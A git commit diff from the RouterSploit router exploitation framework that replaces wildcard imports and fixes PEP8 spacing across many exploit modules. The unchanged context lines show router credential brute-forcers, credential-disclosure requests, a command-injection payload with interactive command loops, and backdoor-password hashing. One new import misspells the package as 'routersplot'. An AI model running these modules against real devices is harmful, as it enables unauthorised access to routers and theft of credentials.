Commit d4152b25 by Leonardo Lazzaro

fixed some PEP8 errors like mixed tabs and spaces, import *, etc

parent ebba273c
...@@ -226,7 +226,7 @@ class RoutersploitInterpreter(BaseInterpreter): ...@@ -226,7 +226,7 @@ class RoutersploitInterpreter(BaseInterpreter):
if self.current_module: if self.current_module:
try: try:
return self.module_prompt_template.format(host=self.prompt_hostname, module=self.module_metadata['name']) return self.module_prompt_template.format(host=self.prompt_hostname, module=self.module_metadata['name'])
except (AttributeError, KeyError) as e: except (AttributeError, KeyError):
return self.module_prompt_template.format(host=self.prompt_hostname, module="UnnamedModule") return self.module_prompt_template.format(host=self.prompt_hostname, module="UnnamedModule")
else: else:
return self.raw_prompt_template.format(host=self.prompt_hostname) return self.raw_prompt_template.format(host=self.prompt_hostname)
......
...@@ -3,7 +3,15 @@ import ftplib ...@@ -3,7 +3,15 @@ import ftplib
import socket import socket
import itertools import itertools
from routersploit import * from routersploit import (
exploits,
wordlists,
print_status,
print_error,
LockedIterator,
print_success,
print_table,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
......
...@@ -2,7 +2,15 @@ import threading ...@@ -2,7 +2,15 @@ import threading
import ftplib import ftplib
import socket import socket
from routersploit import * from routersploit import (
exploits,
wordlists,
print_status,
print_error,
LockedIterator,
print_success,
print_table,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
......
...@@ -2,7 +2,16 @@ import threading ...@@ -2,7 +2,16 @@ import threading
import requests import requests
import itertools import itertools
from routersploit import * from routersploit import (
exploits,
wordlists,
print_status,
print_error,
LockedIterator,
print_success,
print_table,
sanitize_url,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
......
import threading import threading
import requests import requests
from routersploit import * from routersploit import (
exploits,
wordlists,
print_status,
print_error,
LockedIterator,
print_success,
print_table,
sanitize_url,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
......
...@@ -3,7 +3,16 @@ import requests ...@@ -3,7 +3,16 @@ import requests
import itertools import itertools
from bs4 import BeautifulSoup from bs4 import BeautifulSoup
from routersploit import * from routersploit import (
exploits,
wordlists,
print_status,
print_error,
LockedIterator,
print_success,
print_table,
sanitize_url,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -37,7 +46,7 @@ class Exploit(exploits.Exploit): ...@@ -37,7 +46,7 @@ class Exploit(exploits.Exploit):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
try: try:
r = requests.get(url) requests.get(url)
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url) print_error("Invalid URL format: %s" % url)
return return
...@@ -49,7 +58,7 @@ class Exploit(exploits.Exploit): ...@@ -49,7 +58,7 @@ class Exploit(exploits.Exploit):
if self.form == 'auto': if self.form == 'auto':
self.data = self.detect_form() self.data = self.detect_form()
if self.data == None: if self.data is None:
print_error("Could not detect form") print_error("Could not detect form")
return return
else: else:
...@@ -108,7 +117,7 @@ class Exploit(exploits.Exploit): ...@@ -108,7 +117,7 @@ class Exploit(exploits.Exploit):
form = soup.find("form") form = soup.find("form")
if form == None: if form is None:
return None return None
if len(form) > 0: if len(form) > 0:
...@@ -116,14 +125,14 @@ class Exploit(exploits.Exploit): ...@@ -116,14 +125,14 @@ class Exploit(exploits.Exploit):
for inp in form.findAll("input"): for inp in form.findAll("input"):
if 'name' in inp.attrs.keys(): if 'name' in inp.attrs.keys():
if inp.attrs['name'].lower() in ["username", "user", "login"]: if inp.attrs['name'].lower() in ["username", "user", "login"]:
res.append(inp.attrs['name']+"="+"{{USER}}") res.append(inp.attrs['name'] + "=" + "{{USER}}")
elif inp.attrs['name'].lower() in ["password", "pass"]: elif inp.attrs['name'].lower() in ["password", "pass"]:
res.append(inp.attrs['name']+"="+"{{PASS}}") res.append(inp.attrs['name'] + "=" + "{{PASS}}")
else: else:
if 'value' in inp.attrs.keys(): if 'value' in inp.attrs.keys():
res.append(inp.attrs['name']+"="+inp.attrs['value']) res.append(inp.attrs['name'] + "=" + inp.attrs['value'])
else: else:
res.append(inp.attrs['name']+"=") res.append(inp.attrs['name'] + "=")
return '&'.join(res) return '&'.join(res)
def target_function(self, running, data): def target_function(self, running, data):
...@@ -153,4 +162,3 @@ class Exploit(exploits.Exploit): ...@@ -153,4 +162,3 @@ class Exploit(exploits.Exploit):
break break
print_status(name, 'process is terminated.') print_status(name, 'process is terminated.')
...@@ -2,7 +2,16 @@ import threading ...@@ -2,7 +2,16 @@ import threading
import requests import requests
from bs4 import BeautifulSoup from bs4 import BeautifulSoup
from routersploit import * from routersploit import (
exploits,
wordlists,
print_status,
print_error,
LockedIterator,
print_success,
print_table,
sanitize_url,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -35,7 +44,7 @@ class Exploit(exploits.Exploit): ...@@ -35,7 +44,7 @@ class Exploit(exploits.Exploit):
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path)) url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
try: try:
r = requests.get(url) requests.get(url)
except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema): except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url) print_error("Invalid URL format: %s" % url)
return return
...@@ -47,7 +56,7 @@ class Exploit(exploits.Exploit): ...@@ -47,7 +56,7 @@ class Exploit(exploits.Exploit):
if self.form == 'auto': if self.form == 'auto':
self.data = self.detect_form() self.data = self.detect_form()
if self.data == None: if self.data is None:
print_error("Could not detect form") print_error("Could not detect form")
return return
else: else:
...@@ -101,7 +110,7 @@ class Exploit(exploits.Exploit): ...@@ -101,7 +110,7 @@ class Exploit(exploits.Exploit):
form = soup.find("form") form = soup.find("form")
if form == None: if form is None:
return None return None
if len(form) > 0: if len(form) > 0:
...@@ -109,14 +118,14 @@ class Exploit(exploits.Exploit): ...@@ -109,14 +118,14 @@ class Exploit(exploits.Exploit):
for inp in form.findAll("input"): for inp in form.findAll("input"):
if 'name' in inp.attrs.keys(): if 'name' in inp.attrs.keys():
if inp.attrs['name'].lower() in ["username", "user", "login"]: if inp.attrs['name'].lower() in ["username", "user", "login"]:
res.append(inp.attrs['name']+"="+"{{USER}}") res.append(inp.attrs['name'] + "=" + "{{USER}}")
elif inp.attrs['name'].lower() in ["password", "pass"]: elif inp.attrs['name'].lower() in ["password", "pass"]:
res.append(inp.attrs['name']+"="+"{{PASS}}") res.append(inp.attrs['name'] + "=" + "{{PASS}}")
else: else:
if 'value' in inp.attrs.keys(): if 'value' in inp.attrs.keys():
res.append(inp.attrs['name']+"="+inp.attrs['value']) res.append(inp.attrs['name'] + "=" + inp.attrs['value'])
else: else:
res.append(inp.attrs['name']+"=") res.append(inp.attrs['name'] + "=")
return '&'.join(res) return '&'.join(res)
def target_function(self, running, data): def target_function(self, running, data):
...@@ -146,4 +155,3 @@ class Exploit(exploits.Exploit): ...@@ -146,4 +155,3 @@ class Exploit(exploits.Exploit):
break break
print_status(name, 'process is terminated.') print_status(name, 'process is terminated.')
import threading import threading
import itertools
import netsnmp import netsnmp
import socket
from routersploit.utils import print_status, print_success, print_error, print_table, LockedIterator from routersploit.utils import print_status, print_success, print_error, print_table, LockedIterator
from routersploit import exploits from routersploit import exploits
...@@ -57,9 +55,9 @@ class Exploit(exploits.Exploit): ...@@ -57,9 +55,9 @@ class Exploit(exploits.Exploit):
string = data.next().strip() string = data.next().strip()
bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0") bindvariable = netsnmp.Varbind(".1.3.6.1.2.1.1.1.0")
res = netsnmp.snmpget(bindvariable, Version = 1, DestHost = address, Community=string) res = netsnmp.snmpget(bindvariable, Version=1, DestHost=address, Community=string)
if res[0] != None: if res[0] is not None:
running.clear() running.clear()
print_success("{}: Valid community string found!".format(name), string) print_success("{}: Valid community string found!".format(name), string)
self.strings.append(tuple([string])) self.strings.append(tuple([string]))
......
...@@ -3,7 +3,15 @@ import itertools ...@@ -3,7 +3,15 @@ import itertools
import socket import socket
import paramiko import paramiko
from routersploit import * from routersploit import (
exploits,
wordlists,
print_status,
print_error,
LockedIterator,
print_success,
print_table,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
......
...@@ -2,7 +2,15 @@ import threading ...@@ -2,7 +2,15 @@ import threading
import paramiko import paramiko
import socket import socket
from routersploit import * from routersploit import (
exploits,
wordlists,
print_status,
print_error,
LockedIterator,
print_success,
print_table,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -72,7 +80,7 @@ class Exploit(exploits.Exploit): ...@@ -72,7 +80,7 @@ class Exploit(exploits.Exploit):
break break
except paramiko.ssh_exception.SSHException as err: except paramiko.ssh_exception.SSHException as err:
ssh.close() ssh.close()
print_error(name, err,"Username: '{}' Password: '{}'".format(user, password)) print_error(name, err, "Username: '{}' Password: '{}'".format(user, password))
else: else:
running.clear() running.clear()
print_success("{}: Authentication succeed!".format(name), user, password) print_success("{}: Authentication succeed!".format(name), user, password)
......
...@@ -2,7 +2,15 @@ import threading ...@@ -2,7 +2,15 @@ import threading
import itertools import itertools
import telnetlib import telnetlib
from routersploit import * from routersploit import (
exploits,
wordlists,
print_status,
print_error,
LockedIterator,
print_success,
print_table,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -79,13 +87,13 @@ class Exploit(exploits.Exploit): ...@@ -79,13 +87,13 @@ class Exploit(exploits.Exploit):
tn.write(password + "\r\n") tn.write(password + "\r\n")
tn.write("\r\n") tn.write("\r\n")
(i,obj,res) = tn.expect(["Incorrect", "incorrect"], 5) (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)
tn.close() tn.close()
if i != -1: if i != -1:
print_error(name, "Username: '{}' Password: '{}'".format(user, password)) print_error(name, "Username: '{}' Password: '{}'".format(user, password))
else: else:
if any(map(lambda x: x in res, ["#", "$",">"])) or len(res) > 500: # big banner e.g. mikrotik if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik
running.clear() running.clear()
print_success("{}: Authentication succeed!".format(name), user, password) print_success("{}: Authentication succeed!".format(name), user, password)
self.credentials.append((user, password)) self.credentials.append((user, password))
...@@ -100,5 +108,4 @@ class Exploit(exploits.Exploit): ...@@ -100,5 +108,4 @@ class Exploit(exploits.Exploit):
return return
continue continue
print_status(name, 'thread is terminated.') print_status(name, 'thread is terminated.')
import threading import threading
import telnetlib import telnetlib
from routersploit import * from routersploit import (
exploits,
wordlists,
print_status,
print_error,
LockedIterator,
print_success,
print_table,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -73,13 +81,13 @@ class Exploit(exploits.Exploit): ...@@ -73,13 +81,13 @@ class Exploit(exploits.Exploit):
tn.write(password + "\r\n") tn.write(password + "\r\n")
tn.write("\r\n") tn.write("\r\n")
(i,obj,res) = tn.expect(["Incorrect", "incorrect"], 5) (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)
tn.close() tn.close()
if i != -1: if i != -1:
print_error(name, "Username: '{}' Password: '{}'".format(user, password)) print_error(name, "Username: '{}' Password: '{}'".format(user, password))
else: else:
if any(map(lambda x: x in res, ["#", "$",">"])) or len(res) > 500: # big banner e.g. mikrotik if any(map(lambda x: x in res, ["#", "$", ">"])) or len(res) > 500: # big banner e.g. mikrotik
running.clear() running.clear()
print_success("{}: Authentication succeed!".format(name), user, password) print_success("{}: Authentication succeed!".format(name), user, password)
self.credentials.append((user, password)) self.credentials.append((user, password))
......
import requests import requests
import re
from routersploit import * from routersploit import (
exploits,
print_success,
print_error,
sanitize_url,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -62,4 +66,3 @@ class Exploit(exploits.Exploit): ...@@ -62,4 +66,3 @@ class Exploit(exploits.Exploit):
return True # target vulnerable return True # target vulnerable
return False # target not vulnerable return False # target not vulnerable
import requests import requests
import re import re
from routersploit import * from routersploit import (
exploits,
sanitize_url,
print_status,
print_error,
print_success,
print_table,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -60,7 +67,6 @@ class Exploit(exploits.Exploit): ...@@ -60,7 +67,6 @@ class Exploit(exploits.Exploit):
else: else:
print_error("Credentials could not be found") print_error("Credentials could not be found")
def check(self): def check(self):
url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port)) url = sanitize_url("{}:{}/password.cgi".format(self.target, self.port))
...@@ -74,4 +80,3 @@ class Exploit(exploits.Exploit): ...@@ -74,4 +80,3 @@ class Exploit(exploits.Exploit):
return True # target vulnerable return True # target vulnerable
return False # target not vulnerable return False # target not vulnerable
import requests import requests
from routersploit import * from routersploit import (
exploits,
print_success,
print_status,
print_error,
sanitize_url,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -27,7 +33,7 @@ class Exploit(exploits.Exploit): ...@@ -27,7 +33,7 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target Port') port = exploits.Option(80, 'Target Port')
def run(self): def run(self):
if self.check() == True: if self.check() is True:
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
self.command_loop() self.command_loop()
...@@ -65,4 +71,3 @@ class Exploit(exploits.Exploit): ...@@ -65,4 +71,3 @@ class Exploit(exploits.Exploit):
return True return True
return False return False
import requests import requests
import re import re
from routersploit import * from routersploit import (
exploits,
sanitize_url,
print_error,
print_success,
print_table,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -56,7 +62,6 @@ class Exploit(exploits.Exploit): ...@@ -56,7 +62,6 @@ class Exploit(exploits.Exploit):
else: else:
print_error("Credentials could not be found") print_error("Credentials could not be found")
def check(self): def check(self):
url = sanitize_url("{}:{}/error_page.htm".format(self.target, self.port)) url = sanitize_url("{}:{}/error_page.htm".format(self.target, self.port))
...@@ -71,4 +76,3 @@ class Exploit(exploits.Exploit): ...@@ -71,4 +76,3 @@ class Exploit(exploits.Exploit):
return True # target vulnerable return True # target vulnerable
return False # target not vulnerable return False # target not vulnerable
import requests import requests
import re import re
from routersploit import * from routersploit import (
exploits,
sanitize_url,
print_error,
print_success,
print_table,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -66,4 +72,3 @@ class Exploit(exploits.Exploit): ...@@ -66,4 +72,3 @@ class Exploit(exploits.Exploit):
return True # target vulnerable return True # target vulnerable
return False # target is not vulnerable return False # target is not vulnerable
import requests import requests
import re import re
from routersploit import * from routersploit import (
exploits,
sanitize_url,
print_error,
print_success,
print_table,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -38,7 +44,15 @@ class Exploit(exploits.Exploit): ...@@ -38,7 +44,15 @@ class Exploit(exploits.Exploit):
print_error("Connection error: %s" % url) print_error("Connection error: %s" % url)
return return
var = ['pppoe_username','pppoe_password','wl0_pskkey','wl0_key1','mradius_password','mradius_secret','httpd_password','http_passwd','pppoe_passwd'] var = ['pppoe_username',
'pppoe_password',
'wl0_pskkey',
'wl0_key1',
'mradius_password',
'mradius_secret',
'httpd_password',
'http_passwd',
'pppoe_passwd']
data = [] data = []
for v in var: for v in var:
...@@ -65,10 +79,17 @@ class Exploit(exploits.Exploit): ...@@ -65,10 +79,17 @@ class Exploit(exploits.Exploit):
except: except:
return None # could not verify return None # could not verify
var = ['pppoe_username','pppoe_password','wl0_pskkey','wl0_key1','mradius_password','mradius_secret','httpd_password','http_passwd','pppoe_passwd'] var = ['pppoe_username',
'pppoe_password',
'wl0_pskkey',
'wl0_key1',
'mradius_password',
'mradius_secret',
'httpd_password',
'http_passwd',
'pppoe_passwd']
if any(map(lambda x: x in res, var)): if any(map(lambda x: x in res, var)):
return True # target vulnerable return True # target vulnerable
return False # target is not vulnerable return False # target is not vulnerable
import requests import requests
from routersploit import * from routersploit import (
exploits,
print_success,
print_error,
sanitize_url,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -61,4 +66,3 @@ class Exploit(exploits.Exploit): ...@@ -61,4 +66,3 @@ class Exploit(exploits.Exploit):
return True # target vulnerable return True # target vulnerable
return False # target is not vulnerable return False # target is not vulnerable
import requests import requests
from routersploit import * from routersploit import (
exploits,
print_success,
print_status,
print_error,
sanitize_url,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -29,7 +35,7 @@ class Exploit(exploits.Exploit): ...@@ -29,7 +35,7 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target Port') port = exploits.Option(80, 'Target Port')
def run(self): def run(self):
if self.check() == True: if self.check() is True:
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
self.command_loop() self.command_loop()
...@@ -44,7 +50,7 @@ class Exploit(exploits.Exploit): ...@@ -44,7 +50,7 @@ class Exploit(exploits.Exploit):
def execute(self, cmd): def execute(self, cmd):
url = sanitize_url("{}:{}/login.cgi.php".format(self.target, self.port)) url = sanitize_url("{}:{}/login.cgi.php".format(self.target, self.port))
headers = {u'Content-Type': u'application/x-www-form-urlencoded'} headers = {u'Content-Type': u'application/x-www-form-urlencoded'}
data = "GO=&jump="+"A"*1379 + ";{};&ps=\n\n".format(cmd) data = "GO=&jump=" + "A" * 1379 + ";{};&ps=\n\n".format(cmd)
try: try:
r = requests.post(url, headers=headers, data=data, verify=False) r = requests.post(url, headers=headers, data=data, verify=False)
...@@ -60,7 +66,7 @@ class Exploit(exploits.Exploit): ...@@ -60,7 +66,7 @@ class Exploit(exploits.Exploit):
# todo random mark # todo random mark
url = sanitize_url("{}:{}/login.cgi".format(self.target, self.port)) url = sanitize_url("{}:{}/login.cgi".format(self.target, self.port))
headers = {u'Content-Type': u'application/x-www-form-urlencoded'} headers = {u'Content-Type': u'application/x-www-form-urlencoded'}
data = "GO=&jump="+"A"*1379 + ";echo 9fdbd928b52c1ef61615a6fd2e8b49af;&ps=\n\n" data = "GO=&jump=" + "A" * 1379 + ";echo 9fdbd928b52c1ef61615a6fd2e8b49af;&ps=\n\n"
try: try:
r = requests.post(url, headers=headers, data=data, verify=False) r = requests.post(url, headers=headers, data=data, verify=False)
...@@ -72,4 +78,3 @@ class Exploit(exploits.Exploit): ...@@ -72,4 +78,3 @@ class Exploit(exploits.Exploit):
return True # target vulnerable return True # target vulnerable
return False # target is not vulnerable return False # target is not vulnerable
import requests import requests
import re
from routersploit import * from routersploit import (
exploits,
print_success,
print_error,
sanitize_url,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -64,4 +68,3 @@ class Exploit(exploits.Exploit): ...@@ -64,4 +68,3 @@ class Exploit(exploits.Exploit):
return True # target vulnerable return True # target vulnerable
return False # target not vulnerable return False # target not vulnerable
import requests import requests
import re import re
from routersploit import * from routersploit import (
exploits,
sanitize_url,
print_error,
print_success,
print_table,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -52,7 +58,6 @@ class Exploit(exploits.Exploit): ...@@ -52,7 +58,6 @@ class Exploit(exploits.Exploit):
else: else:
print_error("Credentials could not be found") print_error("Credentials could not be found")
def check(self): def check(self):
url = sanitize_url("{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd".format(self.target, self.port)) url = sanitize_url("{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd".format(self.target, self.port))
...@@ -67,4 +72,3 @@ class Exploit(exploits.Exploit): ...@@ -67,4 +72,3 @@ class Exploit(exploits.Exploit):
return True # target vulnerable return True # target vulnerable
return False # target not vulnerable return False # target not vulnerable
import requests import requests
from routersploit import * from routersploit import (
exploits,
sanitize_url,
print_error,
print_success,
print_status,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -30,7 +36,7 @@ class Exploit(exploits.Exploit): ...@@ -30,7 +36,7 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target Port') port = exploits.Option(80, 'Target Port')
def run(self): def run(self):
if self.check() == True: if self.check() is True:
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
self.command_loop() self.command_loop()
...@@ -72,4 +78,3 @@ class Exploit(exploits.Exploit): ...@@ -72,4 +78,3 @@ class Exploit(exploits.Exploit):
return True return True
return False return False
import requests import requests
import re import re
from routersploit import * from routersploit import (
exploits,
sanitize_url,
print_error,
print_success,
print_table,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -57,7 +63,6 @@ class Exploit(exploits.Exploit): ...@@ -57,7 +63,6 @@ class Exploit(exploits.Exploit):
else: else:
print_error("Credentials could not be found") print_error("Credentials could not be found")
def check(self): def check(self):
# address and parameters # address and parameters
url = sanitize_url("{}:{}/getcfg.php".format(self.target, self.port)) url = sanitize_url("{}:{}/getcfg.php".format(self.target, self.port))
...@@ -78,4 +83,3 @@ class Exploit(exploits.Exploit): ...@@ -78,4 +83,3 @@ class Exploit(exploits.Exploit):
return True # target vulnerable return True # target vulnerable
return False # target not vulnerable return False # target not vulnerable
import requests import requests
import re import re
from routersploit import * from routersploit import (
exploits,
print_success,
print_status,
print_error,
sanitize_url,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -29,7 +35,7 @@ class Exploit(exploits.Exploit): ...@@ -29,7 +35,7 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target Port') port = exploits.Option(80, 'Target Port')
def run(self): def run(self):
if self.check() == True: if self.check() is True:
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
self.command_loop() self.command_loop()
...@@ -65,13 +71,10 @@ class Exploit(exploits.Exploit): ...@@ -65,13 +71,10 @@ class Exploit(exploits.Exploit):
try: try:
r = requests.get(url) r = requests.get(url)
res = r.text
except: except:
return None return None
if "9fdbd928b52c1ef61615a6fd2e8b49af" in r: if "9fdbd928b52c1ef61615a6fd2e8b49af" in r:
return True return True
return False return False
import requests import requests
import re import re
from routersploit import * from routersploit import (
exploits,
print_success,
print_error,
sanitize_url,
print_table,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -50,7 +56,7 @@ class Exploit(exploits.Exploit): ...@@ -50,7 +56,7 @@ class Exploit(exploits.Exploit):
val = re.findall(regexp, res) val = re.findall(regexp, res)
if len(val): if len(val):
creds.append((d,val[0])) creds.append((d, val[0]))
if len(creds): if len(creds):
print_success("Credentials found!") print_success("Credentials found!")
...@@ -61,7 +67,6 @@ class Exploit(exploits.Exploit): ...@@ -61,7 +67,6 @@ class Exploit(exploits.Exploit):
else: else:
print_error("Credentials could not be found") print_error("Credentials could not be found")
def check(self): def check(self):
url = sanitize_url("{}:{}/hidden_info.html".format(self.target, self.port)) url = sanitize_url("{}:{}/hidden_info.html".format(self.target, self.port))
...@@ -75,4 +80,3 @@ class Exploit(exploits.Exploit): ...@@ -75,4 +80,3 @@ class Exploit(exploits.Exploit):
return True # target vulnerable return True # target vulnerable
return False # target not vulnerable return False # target not vulnerable
import requests import requests
import json import json
from routersploit import * from routersploit import (
exploits,
print_success,
print_error,
sanitize_url,
print_table,
print_status,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -59,7 +66,6 @@ class Exploit(exploits.Exploit): ...@@ -59,7 +66,6 @@ class Exploit(exploits.Exploit):
headers = ("Parameter", "Value") headers = ("Parameter", "Value")
print_table(headers, *rows) print_table(headers, *rows)
def check(self): def check(self):
url = sanitize_url("{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703".format(self.target, self.port)) url = sanitize_url("{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703".format(self.target, self.port))
...@@ -73,4 +79,3 @@ class Exploit(exploits.Exploit): ...@@ -73,4 +79,3 @@ class Exploit(exploits.Exploit):
return True # target is vulnerable return True # target is vulnerable
return False # target not vulnerable return False # target not vulnerable
...@@ -8,7 +8,12 @@ import tty ...@@ -8,7 +8,12 @@ import tty
import sys import sys
from paramiko.py3compat import u from paramiko.py3compat import u
from routersploit import * from routersploit import (
exploits,
print_success,
print_error,
print_status,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -92,7 +97,6 @@ class Exploit(exploits.Exploit): ...@@ -92,7 +97,6 @@ class Exploit(exploits.Exploit):
finally: finally:
termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty) termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)
def check(self): def check(self):
client = paramiko.SSHClient() client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
...@@ -127,4 +131,3 @@ class Exploit(exploits.Exploit): ...@@ -127,4 +131,3 @@ class Exploit(exploits.Exploit):
m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70') m.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest()) h = 'AK1' + base64.b64encode('\x00' * 12 + m.digest())
return [h] return [h]
import paramiko import paramiko
import telnetlib import telnetlib
import select
import socket
from routersploit import * from routersploit import (
exploits,
print_success,
print_error,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -58,12 +60,12 @@ class Exploit(exploits.Exploit): ...@@ -58,12 +60,12 @@ class Exploit(exploits.Exploit):
tn.write(self.password + "\r\n") tn.write(self.password + "\r\n")
tn.write("\r\n") tn.write("\r\n")
(i,obj,res) = tn.expect(["Incorrect", "incorrect"], 5) (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)
if i != -1: if i != -1:
return False return False
else: else:
if any(map(lambda x: x in res, ["#", "$",">"])): if any(map(lambda x: x in res, ["#", "$", ">"])):
print_success("Telnet - Successful authentication") print_success("Telnet - Successful authentication")
tn.write("\r\n") tn.write("\r\n")
tn.interact() tn.interact()
...@@ -92,13 +94,13 @@ class Exploit(exploits.Exploit): ...@@ -92,13 +94,13 @@ class Exploit(exploits.Exploit):
tn.write(self.password + "\r\n") tn.write(self.password + "\r\n")
tn.write("\r\n") tn.write("\r\n")
(i,obj,res) = tn.expect(["Incorrect", "incorrect"], 5) (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)
tn.close() tn.close()
if i != -1: if i != -1:
return False return False
else: else:
if any(map(lambda x: x in res, ["#", "$",">"])): if any(map(lambda x: x in res, ["#", "$", ">"])):
tn.close() tn.close()
return True return True
tn.close() tn.close()
...@@ -106,4 +108,3 @@ class Exploit(exploits.Exploit): ...@@ -106,4 +108,3 @@ class Exploit(exploits.Exploit):
return False return False
return False return False
import requests import requests
import re import re
from routersploit import * from routersploit import (
exploits,
print_success,
print_error,
print_status,
sanitize_url,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -28,7 +34,7 @@ class Exploit(exploits.Exploit): ...@@ -28,7 +34,7 @@ class Exploit(exploits.Exploit):
port = exploits.Option(80, 'Target Port') port = exploits.Option(80, 'Target Port')
def run(self): def run(self):
if self.check() == True: if self.check() is True:
print_success("Target is vulnerable") print_success("Target is vulnerable")
print_status("Invoking command loop...") print_status("Invoking command loop...")
self.command_loop() self.command_loop()
...@@ -74,4 +80,3 @@ class Exploit(exploits.Exploit): ...@@ -74,4 +80,3 @@ class Exploit(exploits.Exploit):
return True return True
return False return False
import requests import requests
import re import re
from routersploit import * from routersploit import (
exploits,
print_success,
print_error,
sanitize_url,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -44,7 +49,6 @@ class Exploit(exploits.Exploit): ...@@ -44,7 +49,6 @@ class Exploit(exploits.Exploit):
'Cache-Control': 'no-cache', 'Cache-Control': 'no-cache',
'Cookie': 'C107373883=/omg1337hax'} 'Cookie': 'C107373883=/omg1337hax'}
try: try:
r = requests.get(url, headers=headers) r = requests.get(url, headers=headers)
...@@ -62,6 +66,4 @@ class Exploit(exploits.Exploit): ...@@ -62,6 +66,4 @@ class Exploit(exploits.Exploit):
except: except:
return None # could not be verified return None # could not be verified
return False # target not vulnerable return False # target not vulnerable
import requests import requests
import re
from routersploit import * from routersploit import (
exploits,
print_success,
print_error,
sanitize_url,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
...@@ -51,4 +55,3 @@ class Exploit(exploits.Exploit): ...@@ -51,4 +55,3 @@ class Exploit(exploits.Exploit):
return True return True
return False # target not vulnerable return False # target not vulnerable
from routersploit import *
from os import listdir from os import listdir
from os.path import isfile, join from os.path import isfile, join
import imp import imp
from routersplot import (
exploits,
print_success,
print_error,
print_status,
)
class Exploit(exploits.Exploit): class Exploit(exploits.Exploit):
""" """
...@@ -20,12 +26,11 @@ class Exploit(exploits.Exploit): ...@@ -20,12 +26,11 @@ class Exploit(exploits.Exploit):
